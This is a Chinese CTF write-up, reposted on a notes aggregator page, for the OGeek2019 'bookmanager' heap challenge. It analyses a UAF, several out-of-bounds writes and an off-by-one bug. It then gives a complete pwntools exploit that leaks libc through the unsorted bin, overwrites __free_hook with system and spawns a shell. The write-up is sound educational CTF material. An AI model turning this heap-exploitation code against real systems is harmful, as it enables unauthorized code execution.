热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

OGeek2019bookmanager

OGeek2019-bookmanager总结本题比较简单,就是题目流程比较复杂一点,用到的知识点就一个:当chunk被放置到unsortedbin中时,其fd指针会指向main_

目录
  • OGeek2019-bookmanager
    • 总结
    • checksec
    • 题目分析
    • 漏洞分析
    • 利用思路
    • 最终EXP
    • 引用与参考


OGeek2019-bookmanager


总结

本题比较简单,就是题目流程比较复杂一点,用到的知识点就一个:



  • chunk被放置到unsorted bin中时,其fd指针会指向main_arena+88这个地址,可以用来泄露libc地址


checksec

技术分享图片

保护全开,题目运行环境为ubuntu 16.04libc-2.23.so


题目分析

题目实现了对书的管理,包括章节、主题等。书所需要的内存都是从堆上分配的。

首先,分配0x90大小的内存,存放书的信息,结构如下:

技术分享图片

然后,每一个章节的结构,也是0x90大小的chunk,内存布局如下:

技术分享图片

然后每个section都是大小为0x40chunk,其内存布局如下:

技术分享图片

text_ptr对应的大小由用户指定,输入大小不超过0x100


漏洞分析

漏洞点有4处,有两处在add_text函数中:

技术分享图片

40行可以输入负数绕过校验,第4547行,如果输入小于0x100的正数,则会越界写。

第三处在remove_section函数中:

技术分享图片

这里存在一个UAF漏洞。

第四出在updapte函数中:

技术分享图片

同样是会越界写,指定了写的大小为0x100

其实还有一个,就是我标注的read_off_by_one函数,会越界写一个字节。但是也要注意,这个函数里有memset(addr, 0, len),会把内存置为0


利用思路

利用思路很多,因为题目漏洞给得实在是太多了,分享我的利用过程如下:



  • 分配一个0x100大小的chunk,作为一个存储text的内存块,前面紧挨着一个0x90的内存块,可以被用作chapter

  • 使用掉高地址的chapter,然后update低地址的text块。由于会把0xff的内存刷为0,所以必须要构造0x100大小的text内存块。直接填满0x100a后。

  • 使用book_preview,就会打印出unsorted binfd内容,得到libc地址

  • update的越界写,修改某个sectiontext_ptr指针,修改为__free_hook的地址

  • 然后update那个sectiontext,就是在往__free_hook写内容,填上system地址

  • 释放带有/bin/sh的内存块,即可获得shell


最终EXP

泄露地址

技术分享图片

修改text_ptr

技术分享图片

修改__free_hooksystem地址

技术分享图片

from pwn import *
LOG_ADDR = lambda x, y: info("{} ===> {}".format(x, hex(y)))
sh = process("./pwn")
libc = ELF(‘libc-2.23.so‘)
context.update(arch="amd64", os="linux", endian="little")
def add_book(book_name):
sh.sendlineafter("Name of the book you want to create: ", book_name)
def add_chapter(chapter_name="abc"):
assert len(chapter_name) <= 20, "len error!"
sh.sendlineafter("\nYour choice:", "1")
sh.sendlineafter("\nChapter name:", chapter_name)
def add_section(chapter_name="abc", section_name="123"):
sh.sendlineafter("\nYour choice:", "2")
sh.sendlineafter("\nWhich chapter do you want to add into:", chapter_name)
leak_msg = sh.recvline()
log.info("msg recv===>{}".format(leak_msg))
sh.sendlineafter("Section name:", section_name)
return leak_msg
def add_text(section_name="123", size:int=0x80, text="a"):
sh.sendlineafter("\nYour choice:", "3")
sh.sendlineafter("\nWhich section do you want to add into:", section_name)
sh.sendlineafter("\nHow many chapters you want to write:", str(size))
sh.sendlineafter("\nText:", text)
def remove_chapter(chapter_name="abc"):
sh.sendlineafter("\nYour choice:", "4")
sh.sendlineafter("\nChapter name:", chapter_name)
def remove_section(section_name="123"):
sh.sendlineafter("\nYour choice:", "5")
sh.sendlineafter("\nSection name:", section_name)
def remove_text(section_name="123"):
sh.sendlineafter("\nYour choice:", "6")
sh.sendlineafter("\nSection name:", section_name)
def book_preview():
sh.sendlineafter("\nYour choice:", "7")
sh.recvuntil("\nBook:")
msg = sh.recvuntil("\n==========================")
log.info("msg recv:{}".format(msg))
return msg
def update(mode=0, old_name="abc", new_name="efg"):
sh.sendlineafter("\nYour choice:", "8")
sh.recvuntil("\nWhat to update?(Chapter/Section/Text):")
if mode == 0:
sh.sendline("Chapter")
sh.sendlineafter("\nChapter name:", old_name)
sh.sendlineafter("\nNew Chapter name:", new_name)
sh.recvuntil("\nUpdated")
elif mode == 1:
sh.sendline("Section")
sh.sendlineafter("\nSection name:", old_name)
sh.sendlineafter("\nNew Section name:", new_name)
sh.recvuntil("\nUpdated")
else:
sh.sendline("Text")
sh.sendlineafter("\nSection name:", old_name)
sh.sendafter("\nNew Text:", new_name)
sh.recvuntil("\nUpdated")
# leak libc addr
add_book("xxe")
add_chapter("a")
add_section("a", "a.a")
add_text("a.a", 0xf0, "a.a.a")
add_chapter("b")
add_section("b", "b.a")
remove_chapter("b")
update(2, "a.a", "a" * 0x100)
msg = book_preview()
idx = msg.index(b"\x7f")
leak_libc_addr = u64(msg[idx-5:idx + 1].ljust(8, b"\x00"))
LOG_ADDR("leak_libc_addr", leak_libc_addr)
libc_base_addr = leak_libc_addr - 0x3c4b20 - 88
LOG_ADDR("libc_base_addr", libc_base_addr)
libc.address = libc_base_addr
# recover
update(2, "a.a", flat("a"*0xf0, 0, 0x91))
add_chapter("b")
add_section("b", "b.a")
remove_text("a.a")
add_text("a.a", 0xb0, "a.a.b")
# change section‘s text_ptr
add_section("a", "/bin/sh")
layout = [0xb0 * "a", 0, 0x41,
"/bin/sh".ljust(8, "\x00"), [0] * 3, libc.sym["__free_hook"], 32]
update(2, "a.a", flat(layout, length=0x100, filler="\x00"))
# fill system addr at __free_hook
update(2, "/bin/sh", flat([libc.sym[‘system‘]], length=0x100, filler="\x00"))
# get shell
remove_section("/bin/sh")
sh.interactive()

远程打:

技术分享图片


引用与参考

1、My Blog

2、Ctf Wiki


推荐阅读
  • 在使用Eclipse进行调试时,如果遇到未解析的断点(unresolved breakpoint)并显示“未加载符号表,请使用‘file’命令加载目标文件以进行调试”的错误提示,这通常是因为调试器未能正确加载符号表。解决此问题的方法是通过GDB的`file`命令手动加载目标文件,以便调试器能够识别和解析断点。具体操作为在GDB命令行中输入 `(gdb) file `。这一步骤确保了调试环境能够正确访问和解析程序中的符号信息,从而实现有效的调试。 ... [详细]
  • 自动验证时页面显示问题的解决方法
    在使用自动验证功能时,页面未能正确显示错误信息。通过使用 `dump($info->getError())` 可以帮助诊断和解决问题。 ... [详细]
  • 自定义滚动条美化页面内容
    当页面内容超出显示范围时,为了提升用户体验和页面美观,通常会添加滚动条。如果默认的浏览器滚动条无法满足设计需求,我们可以自定义一个符合要求的滚动条。本文将详细介绍自定义滚动条的实现过程。 ... [详细]
  • Ext JS MVC系列一:环境搭建与框架概览
    本文主要介绍了如何在项目中使用Ext JS 4作为前端框架,并详细讲解了Ext JS 4的MVC开发模式。文章将从项目目录结构、相关CSS和JS文件的引用以及MVC框架的整体认识三个方面进行总结。 ... [详细]
  • 本文详细介绍了DMA控制器如何通过映射表处理来自外设的请求,包括映射表的设计和实现方法。 ... [详细]
  • 第二十五天接口、多态
    1.java是面向对象的语言。设计模式:接口接口类是从java里衍生出来的,不是python原生支持的主要用于继承里多继承抽象类是python原生支持的主要用于继承里的单继承但是接 ... [详细]
  • 解决Parallels Desktop错误15265的方法
    本文详细介绍了在使用Parallels Desktop时遇到错误15265的多种解决方案,包括检查网络连接、关闭代理服务器和修改主机文件等步骤。 ... [详细]
  • 解决 Windows Server 2016 网络连接问题
    本文详细介绍了如何解决 Windows Server 2016 在使用无线网络 (WLAN) 和有线网络 (以太网) 时遇到的连接问题。包括添加必要的功能和安装正确的驱动程序。 ... [详细]
  • 在 LeetCode 的“有效回文串 II”问题中,给定一个非空字符串 `s`,允许删除最多一个字符。本篇深入解析了如何判断删除一个字符后,字符串是否能成为回文串,并提出了高效的优化算法。通过详细的分析和代码实现,本文提供了多种解决方案,帮助读者更好地理解和应用这一算法。 ... [详细]
  • 系统数据实体验证异常:多个实体验证失败的错误处理与分析
    在使用MVC和EF框架进行数据保存时,遇到了 `System.Data.Entity.Validation.DbEntityValidationException` 错误,表明存在一个或多个实体验证失败的情况。本文详细分析了该错误的成因,并提出了有效的处理方法,包括检查实体属性的约束条件、调试日志的使用以及优化数据验证逻辑,以确保数据的一致性和完整性。 ... [详细]
  • MySQL的查询执行流程涉及多个关键组件,包括连接器、查询缓存、分析器和优化器。在服务层,连接器负责建立与客户端的连接,查询缓存用于存储和检索常用查询结果,以提高性能。分析器则解析SQL语句,生成语法树,而优化器负责选择最优的查询执行计划。这一流程确保了MySQL能够高效地处理各种复杂的查询请求。 ... [详细]
  • 装饰者模式(Decorator):一种灵活的对象结构设计模式
    装饰者模式(Decorator)是一种灵活的对象结构设计模式,旨在为单个对象动态地添加功能,而无需修改原有类的结构。通过封装对象并提供额外的行为,装饰者模式比传统的继承方式更加灵活和可扩展。例如,可以在运行时为特定对象添加边框或滚动条等特性,而不会影响其他对象。这种模式特别适用于需要在不同情况下动态组合功能的场景。 ... [详细]
  • 本项目通过Python编程实现了一个简单的汇率转换器v1.02。主要内容包括:1. Python的基本语法元素:(1)缩进:用于表示代码的层次结构,是Python中定义程序框架的唯一方式;(2)注释:提供开发者说明信息,不参与实际运行,通常每个代码块添加一个注释;(3)常量和变量:用于存储和操作数据,是程序执行过程中的重要组成部分。此外,项目还涉及了函数定义、用户输入处理和异常捕获等高级特性,以确保程序的健壮性和易用性。 ... [详细]
  • 本文详细解析了Autofac在高级应用场景中的具体实现,特别是如何通过注册泛型接口的类来优化依赖注入。示例代码展示了如何使用 `builder.RegisterAssemblyTypes` 方法,结合 `typeof(IEventHandler).Assembly` 和 `Where` 过滤条件,动态注册所有符合条件的类,从而简化配置并提高代码的可维护性。此外,文章还探讨了这一方法在复杂系统中的实际应用及其优势。 ... [详细]
  • 本指南详细介绍了如何利用华为云对象存储服务构建视频点播(VoD)平台。通过结合开源技术如Ceph、WordPress、PHP和Nginx,用户可以高效地实现数据存储、内容管理和网站搭建。主要内容涵盖华为云对象存储系统的配置步骤、性能优化及安全设置,为开发者提供全面的技术支持。 ... [详细]
author-avatar
6易0k醉人也s易
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有